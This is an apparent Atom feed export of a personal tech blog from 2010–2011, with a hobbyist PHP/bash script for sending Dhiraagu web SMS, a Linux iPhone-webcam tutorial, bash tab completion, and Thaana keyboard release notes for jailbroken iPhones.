{&lt;br /&gt;        if(($SessionData['retries']++)&gt;3){&lt;br /&gt;            trigger_error('maximum number of retries exceeded',E_USER_ERROR);&lt;br /&gt;        }&lt;br /&gt;        login();&lt;br /&gt;    }&lt;br /&gt;     &lt;br /&gt;}&lt;br /&gt; &lt;br /&gt; &lt;br /&gt;if (isset($_GET['user']) &amp;&amp; isset($_GET['pass']) &amp;&amp; isset($_GET['msg']) &amp;&amp; isset($_GET['num'])) {&lt;br /&gt;if(preg_match("/^7[4-9][0-9]{5}$/",$_GET['num'],$number)){&lt;br /&gt;        $_GET['num']=$number[0];&lt;br /&gt;        } else {&lt;br /&gt;        trigger_error('Invalid Number Format',E_USER_ERROR);&lt;br /&gt;    }&lt;br /&gt;    } else {&lt;br /&gt;    trigger_error('Insufficiant Arguments',E_USER_ERROR);&lt;br /&gt;}&lt;br /&gt; &lt;br /&gt;if(isset($_GET['cookie'])){&lt;br /&gt;    $SessionData['cookie']=$_GET['cookie'];&lt;br /&gt;    sendsms();&lt;br /&gt;    } else {&lt;br /&gt;    login();&lt;br /&gt;}&lt;br /&gt; &lt;br /&gt; &lt;br /&gt;terminate_now();&lt;br /&gt;?&amp;gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;and then we have this modified version of the bash script to help make calls to the conduit&lt;br /&gt;&lt;br /&gt;&lt;pre class="brush:pl"&gt;#!/usr/bin/env bash&lt;br /&gt;&lt;br /&gt;#..........................................&lt;br /&gt;# Bash helper script for Dhiraagu webSMS&lt;br /&gt;# using the webSMS Conduit script from&lt;br /&gt;# http://www.kudanai.com&lt;br /&gt;#&lt;br /&gt;#&lt;br /&gt;# 2010 - kudanai&lt;br /&gt;&lt;br /&gt;user= #defaultuser&lt;br /&gt;pass= #defaultpass&lt;br /&gt;dirlist=~/.wsmsdir&lt;br /&gt;serverURL="http://192.168.1.2:8080/websms.php"&lt;br /&gt;purge=0&lt;br /&gt;&lt;br /&gt;function printhelp {&lt;br /&gt;cat &amp;lt;&amp;lt; EOT&lt;br /&gt;Dhiraague WebSMS Conduit helper- KudaNai (kudanai.blogspot.com)&lt;br /&gt;USAGE: $0 [OPTIONS...] -n number 'message'&lt;br /&gt;&lt;br /&gt;OPTIONS&lt;br /&gt; -h  Print this help and exit&lt;br /&gt; -N  New Session. Do not reuse old cookies.&lt;br /&gt; -d  Override default directory file. The Directory file&lt;br /&gt;     is a comma seperated file containing name,number pairs&lt;br /&gt; -u  USERNAME Override default username.&lt;br /&gt; -p  PASSWORD Override default password.&lt;br /&gt;&lt;br /&gt;  Please note that the -n argument is MANDATORY&lt;br /&gt;&lt;br /&gt;EOT&lt;br /&gt;exit&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;function sendsms {&lt;br /&gt; &lt;br /&gt; if [ -e ${dirlist} ];then dcheck=`cat ${dirlist} | grep -w ${number} | cut -f2 -d","`;fi &lt;br /&gt; if [ -n "${dcheck}" ];then number=${dcheck};fi&lt;br /&gt;&lt;br /&gt; if [ $purge -lt 1 ]&lt;br /&gt; then&lt;br /&gt;  if [ -e /tmp/$user.wsmscookie ]&lt;br /&gt;  then&lt;br /&gt;   cookie=$(cat /tmp/$user.wsmscookie)&lt;br /&gt;  fi&lt;br /&gt; fi&lt;br /&gt; return=$(curl --silent -G \&lt;br /&gt;  -d "user=${user}" \&lt;br /&gt;  -d "pass=${pass}" \&lt;br /&gt;  -d "num=${number}" \&lt;br /&gt;  --data-urlencode "msg=${message}" \&lt;br /&gt;  -d "cookie=${cookie}" \&lt;br /&gt;  $serverURL&lt;br /&gt; )&lt;br /&gt; echo $return&lt;br /&gt;&lt;br /&gt; if [[ "${return}" =~ \"cookie\":\"(.*)?\", ]]&lt;br /&gt; then&lt;br /&gt;  echo ${BASH_REMATCH[1]} &amp;gt; /tmp/$user.wsmscookie&lt;br /&gt; fi&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;while getopts 'hNn:u:p:d:' Option&lt;br /&gt;do&lt;br /&gt; case $Option in&lt;br /&gt;  u) user="${OPTARG}" ;;&lt;br /&gt;  p) pass="${OPTARG}" ;;&lt;br /&gt;  N) purge=1;;&lt;br /&gt;  d) dirlist="${OPTARG}" ;;&lt;br /&gt;  n) number="${OPTARG}" ;;&lt;br /&gt;  h) printhelp ;;&lt;br /&gt;  ?) printhelp ;;&lt;br /&gt; esac&lt;br /&gt;done&lt;br /&gt;&lt;br /&gt;shift $(( $OPTIND - 1 ))&lt;br /&gt;message=$1&lt;br /&gt;sendsms&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/180738146708053206-4237490482186587571?l=www.kudanai.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.kudanai.com/feeds/4237490482186587571/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.kudanai.com/2011/02/dhiraagu-websms-conduit.html#comment-form' title='9 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/180738146708053206/posts/default/4237490482186587571'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/180738146708053206/posts/default/4237490482186587571'/><link rel='alternate' type='text/html' href='http://www.kudanai.com/2011/02/dhiraagu-websms-conduit.html' title='Dhiraagu webSMS Conduit'/><author><name>SoE</name><uri>http://www.blogger.com/profile/00484927113635908032</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://bp3.blogger.com/_bwme_BmmviI/SGPJpPXejVI/AAAAAAAAACg/hvlKFvih32I/S220/IMG_5701_orig.JPG'/></author><thr:total>9</thr:total></entry><entry><id>tag:blogger.com,1999:blog-180738146708053206.post-6394323613058785158</id><published>2011-01-11T21:47:00.000+08:00</published><updated>2011-01-11T21:47:50.707+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='iPhone'/><category scheme='http://www.blogger.com/atom/ns#' term='thaana'/><title type='text'>about updates: iPhone Thaana Keyboard.</title><content type='html'>This post is long over-due and I apologize for not having written it sooner.&lt;br /&gt;&lt;br /&gt;as you probably might have noticed, the thaana keyboard currently only works on 4.0x and 4.1x firmware. However since then, apple has released a major firmware update in the form of 4.2.1. This update include a tonne of changes, including changes to the default fonts, font-handling and keyboard configurations. This inadvertently has broken both our thaana fonts package as well as thaana keyboard package. So right now, the keyboard does not work for 4.2+.&lt;br /&gt;&lt;br /&gt;The &lt;span class="Apple-style-span" style="color: lime;"&gt;good news&lt;/span&gt; is that it IS possible to get it back up and running without too much effort.&lt;br /&gt;&lt;br /&gt;however the &lt;span class="Apple-style-span" style="color: red;"&gt;bad news&lt;/span&gt; is that I am currently using an non-factory unlocked iPhone 4 (as is &lt;a href="http://afxal.com/"&gt;afxal&lt;/a&gt;). As of now, there is no unlock for the iPhone 4 on 4.2.1 firmware. Hence I am unable to update my phone to the newest firmware.&lt;br /&gt;&lt;br /&gt;The bottom line is that until I can run 4.2+ firmware on my device, I cannot update the packages. I sincerely apologize for this. Hopefully, the dev-team will come out with some good news soon.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;P.S - Some of you have asked if I stopped working on these projects because of what happened with eLL Mobile. This is not the case.&lt;br /&gt;&lt;br /&gt;P.P.S - yes eLL, I know you have been &amp;nbsp;emailing people looking for updates.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/180738146708053206-6394323613058785158?l=www.kudanai.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.kudanai.com/feeds/6394323613058785158/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.kudanai.com/2011/01/about-updates-iphone-thaana-keyboard.html#comment-form' title='20 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/180738146708053206/posts/default/6394323613058785158'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/180738146708053206/posts/default/6394323613058785158'/><link rel='alternate' type='text/html' href='http://www.kudanai.com/2011/01/about-updates-iphone-thaana-keyboard.html' title='about updates: iPhone Thaana Keyboard.'/><author><name>SoE</name><uri>http://www.blogger.com/profile/00484927113635908032</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://bp3.blogger.com/_bwme_BmmviI/SGPJpPXejVI/AAAAAAAAACg/hvlKFvih32I/S220/IMG_5701_orig.JPG'/></author><thr:total>20</thr:total></entry><entry><id>tag:blogger.com,1999:blog-180738146708053206.post-1314681693614445739</id><published>2010-11-17T03:57:00.000+08:00</published><updated>2010-11-17T03:57:40.649+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='rants'/><title type='text'>looking back...</title><content type='html'>I know to some it looks like I have walked far on this path, but the truth is that I am no further than where I was years ago. I have gone around in circles; Lost and confused, time and again I have asked myself where..why? I have spent all this time and yet I am no closer to an answer. So I try to diverge myself from the known and venture into the all consuming darkness, hoping that somewhere along the twisting path I will find what I'm looking for.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/180738146708053206-1314681693614445739?l=www.kudanai.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.kudanai.com/feeds/1314681693614445739/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.kudanai.com/2010/11/looking-back.html#comment-form' title='6 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/180738146708053206/posts/default/1314681693614445739'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/180738146708053206/posts/default/1314681693614445739'/><link rel='alternate' type='text/html' href='http://www.kudanai.com/2010/11/looking-back.html' title='looking back...'/><author><name>SoE</name><uri>http://www.blogger.com/profile/00484927113635908032</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://bp3.blogger.com/_bwme_BmmviI/SGPJpPXejVI/AAAAAAAAACg/hvlKFvih32I/S220/IMG_5701_orig.JPG'/></author><thr:total>6</thr:total></entry><entry><id>tag:blogger.com,1999:blog-180738146708053206.post-1340429252828852075</id><published>2010-11-05T20:04:00.001+08:00</published><updated>2011-01-29T09:37:01.993+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='webcam'/><category scheme='http://www.blogger.com/atom/ns#' term='linux'/><category scheme='http://www.blogger.com/atom/ns#' term='iPhone'/><title type='text'>Howto: use your iPhone as webcam in Linux (without WebcamStudio)</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;So this is the story - my laptop (yes it's a bit of a relic) doesn't come with a webcam. While I do have one of those tiny USB webcams, it has never been very reliable. It sucks in low-light, and the resolution is shitty at best - and don't even get me started on those wires. As is the case with many such stories, necessity thus drove me to find this nifty little solution.&lt;br /&gt;&lt;br /&gt;I found a nice little app on the AppStore called iWebCamera which sounded like it could do just the trick! according to their &lt;a href="http://www.drahtwerk.biz/EN/Products/iPhone/iWebcamera.aspx"&gt;website&lt;/a&gt;, iWebCamera could stream the images/video from you iPhone's camera to your computer. The catch here of course, is that you need their "driver" software installed on the computer. This is all fine..if you're on a Mac or Windows machine. Linux users aren't completely left out though, as the very handy "&lt;a href="http://www.ws4gl.org/"&gt;WebcamStudio&lt;/a&gt;" does support iWebCamera. However, the problem is that the current version (0.56 at the time of writing) doesn't support v4l2 (which I needed for skype&amp;nbsp;compatibility)&lt;br /&gt;&lt;br /&gt;&lt;b style="font-style: italic;"&gt;*note; v4l2 support in WebcamStudio is coming in the next release. You're welcome to wait until it comes out. I did it this way because I didn't need the extra features WebCam studio&lt;/b&gt;.&lt;br /&gt;&lt;br /&gt;let's get started after the break!&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;This tutorial is based on Ubuntu 10.10 running kernel 2.6.35-22-generic and relies on gstreamer&lt;br /&gt;&lt;br /&gt;First you'll obviously need iWebCamera installed. Then you'll need to know the ip-address of your iPhone (which you can find in settings). Did I mention that this only works over WiFi?&lt;br /&gt;&lt;br /&gt;next on your linux machine, get ready to compile some stuff!&lt;br /&gt;&lt;br /&gt;grab the dependencies&lt;br /&gt;&lt;blockquote&gt;sudo apt-get install build-essential libgstreamer-plugins-base0.10-dev&amp;nbsp;libgstreamer0.10-dev libtool autoconf mercurial gstreamer-tools git&lt;/blockquote&gt;after that, you'll need to grab both the V4l2 Loopback drivers, and the corrosponding helper utility.&lt;br /&gt;&lt;blockquote&gt;hg clone https://v4l2loopback.googlecode.com/hg/ v4l2loopback&lt;br /&gt;git clone http://github.com/umlaeute/gst-v4l2loopback.git&lt;/blockquote&gt;&lt;br /&gt;first we compile the loopback driver and install it&lt;br /&gt;&lt;blockquote&gt;&amp;nbsp;cd v4l2loopback &amp;amp;&amp;amp; make &lt;br /&gt;sudo make install&lt;/blockquote&gt;&lt;br /&gt;If everything went well, you should be able to load the kernel module&lt;br /&gt;&lt;blockquote&gt;sudo modprobe v4l2loopback&lt;/blockquote&gt;&lt;br /&gt;If you were successful, you should have a new loopback video device at /dev/video0 or /dev/video1 etc...&lt;br /&gt;&lt;br /&gt;next, we compile and install the gstreamer sink&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;cd ../gst-v4l2loopback &amp;amp;&amp;amp; ./autogen.sh &lt;br /&gt;make &amp;amp;&amp;amp; sudo make install&lt;/blockquote&gt;&lt;br /&gt;now if everything went well, you should be able to do a "gst-inspect v4l2loopback" and get a description of the v4l2loopback gstreamer plugin.&lt;br /&gt;&lt;br /&gt;That's all for the compiling. Now all you have to do is guide the webcam stream from the phone through a gstreamer pipeline (and hence through appropriate decoders) all the way to the v4l2loopback sink.&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;gst-launch souphttpsrc location=http://192.168.1.11:8080/strm ! jpegdec ! ffmpegcolorspace ! v4l2loopback device=/dev/video0&lt;/blockquote&gt;&lt;br /&gt;where 192.168.1.11 is the ip address of your iphone on the network, and /dev/video0 is your loopback device. If everything went according to plan you should now be able to use the "iPhone webcam" for skype and other programs.&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/_bwme_BmmviI/TNPyznKHWAI/AAAAAAAAAUk/mVILN5CriDQ/s1600/Screenshot-Options.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="204" src="http://2.bp.blogspot.com/_bwme_BmmviI/TNPyznKHWAI/AAAAAAAAAUk/mVILN5CriDQ/s320/Screenshot-Options.png" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;This path offers massive flexibility and&amp;nbsp;configurability. You could push the stream through some effectv plugins to get all sorts of cool animations and effects. You could also stream movies,videos,screencasts etc over skype. I'd like to see them do THAT in windows :)&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/180738146708053206-1340429252828852075?l=www.kudanai.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.kudanai.com/feeds/1340429252828852075/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.kudanai.com/2010/11/howto-use-your-iphone-as-webcam-in.html#comment-form' title='13 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/180738146708053206/posts/default/1340429252828852075'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/180738146708053206/posts/default/1340429252828852075'/><link rel='alternate' type='text/html' href='http://www.kudanai.com/2010/11/howto-use-your-iphone-as-webcam-in.html' title='Howto: use your iPhone as webcam in Linux (without WebcamStudio)'/><author><name>SoE</name><uri>http://www.blogger.com/profile/00484927113635908032</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://bp3.blogger.com/_bwme_BmmviI/SGPJpPXejVI/AAAAAAAAACg/hvlKFvih32I/S220/IMG_5701_orig.JPG'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_bwme_BmmviI/TNPyznKHWAI/AAAAAAAAAUk/mVILN5CriDQ/s72-c/Screenshot-Options.png' height='72' width='72'/><thr:total>13</thr:total></entry><entry><id>tag:blogger.com,1999:blog-180738146708053206.post-5094957143790345027</id><published>2010-10-27T16:19:00.001+08:00</published><updated>2010-11-03T21:30:58.472+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='linux'/><category scheme='http://www.blogger.com/atom/ns#' term='bash'/><category scheme='http://www.blogger.com/atom/ns#' term='dhiraagu'/><category scheme='http://www.blogger.com/atom/ns#' term='websms'/><category scheme='http://www.blogger.com/atom/ns#' term='cURL'/><title type='text'>Tab Completion for Dhiraagu WebSMS Script</title><content type='html'>A LONNNNG LOONG time ago (two years specifically) &lt;a href="http://www.kudanai.com/2008/11/bash-script-dhiraagu-websms.html"&gt;I wrote a bash script that would allow me to send websms's on the command line.&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;This script has been working perfectly for me since the day I wrote it. However, the problem was that my "directory" file had started to grow a little out of proportion, and I started having trouble remembering all the aliases I put in it. So I wanted to enable custom tab completions on the script.&lt;br /&gt;&lt;br /&gt;Enter this tiny bit of code.&lt;br /&gt;All you have to do is insert the following at the end of your bashrc file (usually in ~/.bashrc)&lt;br /&gt;&lt;br /&gt;&lt;pre class="brush:pl"&gt;complete -F _bdwsmscomplete websms&lt;br /&gt;_bdwsmscomplete()&lt;br /&gt;{&lt;br /&gt; local CUR PRE OPTS CONTACTS&lt;br /&gt; local WSMSDIR="$HOME/.wsmsdir" #change accordingly&lt;br /&gt;     CUR="${COMP_WORDS[COMP_CWORD]}"&lt;br /&gt; PRE="${COMP_WORDS[COMP_CWORD-1]}"&lt;br /&gt; OPTS="-h -v -s -d -u -p -n"&lt;br /&gt; CONTACTS="$(cut -f1 -d',' ${WSMSDIR})"&lt;br /&gt; &lt;br /&gt; if [[ ${CUR} = -* ]]&lt;br /&gt; then&lt;br /&gt;  COMPREPLY=($(compgen -W "${OPTS}" -- ${CUR}))&lt;br /&gt;  return 0&lt;br /&gt; fi&lt;br /&gt;   &lt;br /&gt; case ${PRE} in &lt;br /&gt;  -n)&lt;br /&gt;   COMPREPLY=($(compgen -W "${CONTACTS}" -- ${CUR}))&lt;br /&gt;   return 0&lt;br /&gt;   ;;&lt;br /&gt;  websms*) &lt;br /&gt;   COMPREPLY=($(compgen -W "-n" -- ${CUR}))&lt;br /&gt;   return 0&lt;br /&gt;   ;;&lt;br /&gt; esac&lt;br /&gt;&lt;br /&gt; return 0&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;If everything went well, you should be able to hit the [TAB] key while at the -n option and it'll automatically try to fill in the name of your contact.Enjoy!&lt;br /&gt;&lt;br /&gt;P.S You'll need to re-open the terminal.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/180738146708053206-5094957143790345027?l=www.kudanai.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.kudanai.com/feeds/5094957143790345027/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.kudanai.com/2010/10/tab-completion-for-dhiraagu-websms.html#comment-form' title='4 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/180738146708053206/posts/default/5094957143790345027'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/180738146708053206/posts/default/5094957143790345027'/><link rel='alternate' type='text/html' href='http://www.kudanai.com/2010/10/tab-completion-for-dhiraagu-websms.html' title='Tab Completion for Dhiraagu WebSMS Script'/><author><name>SoE</name><uri>http://www.blogger.com/profile/00484927113635908032</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://bp3.blogger.com/_bwme_BmmviI/SGPJpPXejVI/AAAAAAAAACg/hvlKFvih32I/S220/IMG_5701_orig.JPG'/></author><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-180738146708053206.post-2949837353390075041</id><published>2010-10-17T15:26:00.001+08:00</published><updated>2011-05-20T19:17:21.447+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='iPhone'/><category scheme='http://www.blogger.com/atom/ns#' term='announcements'/><category scheme='http://www.blogger.com/atom/ns#' term='thaana'/><title type='text'>RELEASE - Thaana Keyboard for iPhone is now LIVE</title><content type='html'>&lt;p&gt;It's here! So much for my "teaser campaign"..&lt;br /&gt; &lt;br /&gt; If you have an iOS4+ (firmware 4.0 and above) device and you're jailbroken, you can now enjoy typing stuff (including emails,sms's,contacts,etc...) in Dhivehi, right from your phone. (yes...you can SMS other iPhones and some Android phones  in thaana - see &lt;a href="http://chopey.blogspot.com/2010/08/thaana-on-android-22.html"&gt;here&lt;/a&gt; and &lt;a href="http://blog.gaanagaa.org/2010/09/android-thaana-font-installer.html"&gt;here&lt;/a&gt; on how to install thaana font on android)&lt;br /&gt; &lt;span style="font-size: small;"&gt;&lt;em&gt; &lt;/em&gt;&lt;/span&gt; &lt;em&gt; &lt;/em&gt; &lt;br /&gt; Head on over to Cydia and put &lt;strong&gt;&lt;span style="color: #6aa84f;"&gt;http://www.m0bi.com/cydia&lt;/span&gt;&lt;/strong&gt; in your sources list.&lt;br /&gt; Add the m0bi repo to your cydia sources,refresh and install the package from the package list. If you're a complete n00b and have no idea how to do that, &lt;a href="http://www.iphoneheat.com/2009/03/how-to-add-sources-repo-to-cydia/"&gt;follow this guide here on how to add cydia sources&lt;/a&gt;.&lt;br /&gt; &lt;br /&gt; Hit the jump for a screenshot tour on how to enable the new keyboard.&lt;br /&gt; &lt;a name="more"&gt;&lt;/a&gt;&lt;br /&gt; So once you have the m0bi repo setup, tap on it and you'll be able to see all the packages from the repo. Look for iThaanaKB or Thaana (Phonetic) Keyboard in the list. tap..install... And follow the picture story below.&lt;/p&gt;&lt;p&gt;We are releasing this under the terms of &lt;a href="http://www.gnu.org/copyleft/lesser.html"&gt;GNULesser&lt;/a&gt;&lt;/p&gt;&lt;p&gt;Enjoy!&lt;br /&gt; Many thanks and respect to kennyTM,fabkk2002 and all the other guys who helped out. Wouldn't have been possible without the work you guys put into it. And thanks once again to &lt;a href="http://afxal.com/"&gt;ap0&lt;/a&gt; for the support and hosting.&lt;/p&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a style="margin-left: 1em; margin-right: 1em;" rel="iThaanaConf" href="http://1.bp.blogspot.com/_bwme_BmmviI/TLnBCZso-sI/AAAAAAAAAUg/oDzX4MVZZzw/s1600/IMG_0011.PNG"&gt;&lt;img src="http://1.bp.blogspot.com/_bwme_BmmviI/TLnBCZso-sI/AAAAAAAAAUg/oDzX4MVZZzw/s320/IMG_0011.PNG" border="0" alt="" width="213" height="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;p&gt; &lt;/p&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a style="margin-left: 1em; margin-right: 1em;" rel="iThaanaConf" href="http://1.bp.blogspot.com/_bwme_BmmviI/TLl20RgZyNI/AAAAAAAAAT8/4ANkaNaGs6o/s1600/IMG_0002.PNG"&gt;&lt;img src="http://1.bp.blogspot.com/_bwme_BmmviI/TLl20RgZyNI/AAAAAAAAAT8/4ANkaNaGs6o/s320/IMG_0002.PNG" border="0" alt="" width="213" height="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;p&gt; &lt;/p&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a style="margin-left: 1em; margin-right: 1em;" rel="iThaanaConf" href="http://3.bp.blogspot.com/_bwme_BmmviI/TLl21GcsNsI/AAAAAAAAAUA/5XvbYUbtgA0/s1600/IMG_0003.PNG"&gt;&lt;img src="http://3.bp.blogspot.com/_bwme_BmmviI/TLl21GcsNsI/AAAAAAAAAUA/5XvbYUbtgA0/s320/IMG_0003.PNG" border="0" alt="" width="213" height="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;p&gt; &lt;/p&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a style="margin-left: 1em; margin-right: 1em;" rel="iThaanaConf" href="http://4.bp.blogspot.com/_bwme_BmmviI/TLl22R4HdSI/AAAAAAAAAUE/sHykxN0CkR4/s1600/IMG_0004.PNG"&gt;&lt;img src="http://4.bp.blogspot.com/_bwme_BmmviI/TLl22R4HdSI/AAAAAAAAAUE/sHykxN0CkR4/s320/IMG_0004.PNG" border="0" alt="" width="213" height="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;p&gt; &lt;/p&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a style="margin-left: 1em; margin-right: 1em;" rel="iThaanaConf" href="http://3.bp.blogspot.com/_bwme_BmmviI/TLl23OlTQ4I/AAAAAAAAAUI/I9W8i5mRo8Q/s1600/IMG_0005.PNG"&gt;&lt;img src="http://3.bp.blogspot.com/_bwme_BmmviI/TLl23OlTQ4I/AAAAAAAAAUI/I9W8i5mRo8Q/s320/IMG_0005.PNG" border="0" alt="" width="213" height="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;p&gt; &lt;/p&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a style="margin-left: 1em; margin-right: 1em;" rel="iThaanaConf" href="http://1.bp.blogspot.com/_bwme_BmmviI/TLl24BEL5gI/AAAAAAAAAUM/B5WbWylaMW0/s1600/IMG_0006.PNG"&gt;&lt;img src="http://1.bp.blogspot.com/_bwme_BmmviI/TLl24BEL5gI/AAAAAAAAAUM/B5WbWylaMW0/s320/IMG_0006.PNG" border="0" alt="" width="213" height="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;p&gt; &lt;/p&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a style="margin-left: 1em; margin-right: 1em;" rel="iThaanaConf" href="http://3.bp.blogspot.com/_bwme_BmmviI/TLl277hG_GI/AAAAAAAAAUQ/UBVAiftQLT4/s1600/IMG_0007.PNG"&gt;&lt;img src="http://3.bp.blogspot.com/_bwme_BmmviI/TLl277hG_GI/AAAAAAAAAUQ/UBVAiftQLT4/s320/IMG_0007.PNG" border="0" alt="" width="213" height="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;p&gt; &lt;/p&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a style="margin-left: 1em; margin-right: 1em;" rel="iThaanaConf" href="http://1.bp.blogspot.com/_bwme_BmmviI/TLl3AFCKbTI/AAAAAAAAAUU/lIcATibQ8FA/s1600/IMG_0009.PNG"&gt;&lt;img src="http://1.bp.blogspot.com/_bwme_BmmviI/TLl3AFCKbTI/AAAAAAAAAUU/lIcATibQ8FA/s320/IMG_0009.PNG" border="0" alt="" width="213" height="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;p&gt; &lt;/p&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a style="margin-left: 1em; margin-right: 1em;" rel="iThaanaConf" href="http://1.bp.blogspot.com/_bwme_BmmviI/TLl3ENXRe9I/AAAAAAAAAUY/lgBWbo8jGPw/s1600/IMG_0012.PNG"&gt;&lt;img src="http://1.bp.blogspot.com/_bwme_BmmviI/TLl3ENXRe9I/AAAAAAAAAUY/lgBWbo8jGPw/s320/IMG_0012.PNG" border="0" alt="" width="213" height="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;p&gt; &lt;/p&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a style="margin-left: 1em; margin-right: 1em;" rel="iThaanaConf" href="http://2.bp.blogspot.com/_bwme_BmmviI/TLl3IfkEanI/AAAAAAAAAUc/rC9igMN9bfQ/s1600/IMG_0014.PNG"&gt;&lt;img src="http://2.bp.blogspot.com/_bwme_BmmviI/TLl3IfkEanI/AAAAAAAAAUc/rC9igMN9bfQ/s320/IMG_0014.PNG" border="0" alt="" width="213" height="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;p&gt; &lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/180738146708053206-2949837353390075041?l=www.kudanai.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.kudanai.com/feeds/2949837353390075041/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.kudanai.com/2010/10/release-thaana-keyboard-for-iphone-is.html#comment-form' title='12 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/180738146708053206/posts/default/2949837353390075041'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/180738146708053206/posts/default/2949837353390075041'/><link rel='alternate' type='text/html' href='http://www.kudanai.com/2010/10/release-thaana-keyboard-for-iphone-is.html' title='RELEASE - Thaana Keyboard for iPhone is now LIVE'/><author><name>SoE</name><uri>http://www.blogger.com/profile/00484927113635908032</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://bp3.blogger.com/_bwme_BmmviI/SGPJpPXejVI/AAAAAAAAACg/hvlKFvih32I/S220/IMG_5701_orig.JPG'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_bwme_BmmviI/TLnBCZso-sI/AAAAAAAAAUg/oDzX4MVZZzw/s72-c/IMG_0011.PNG' height='72' 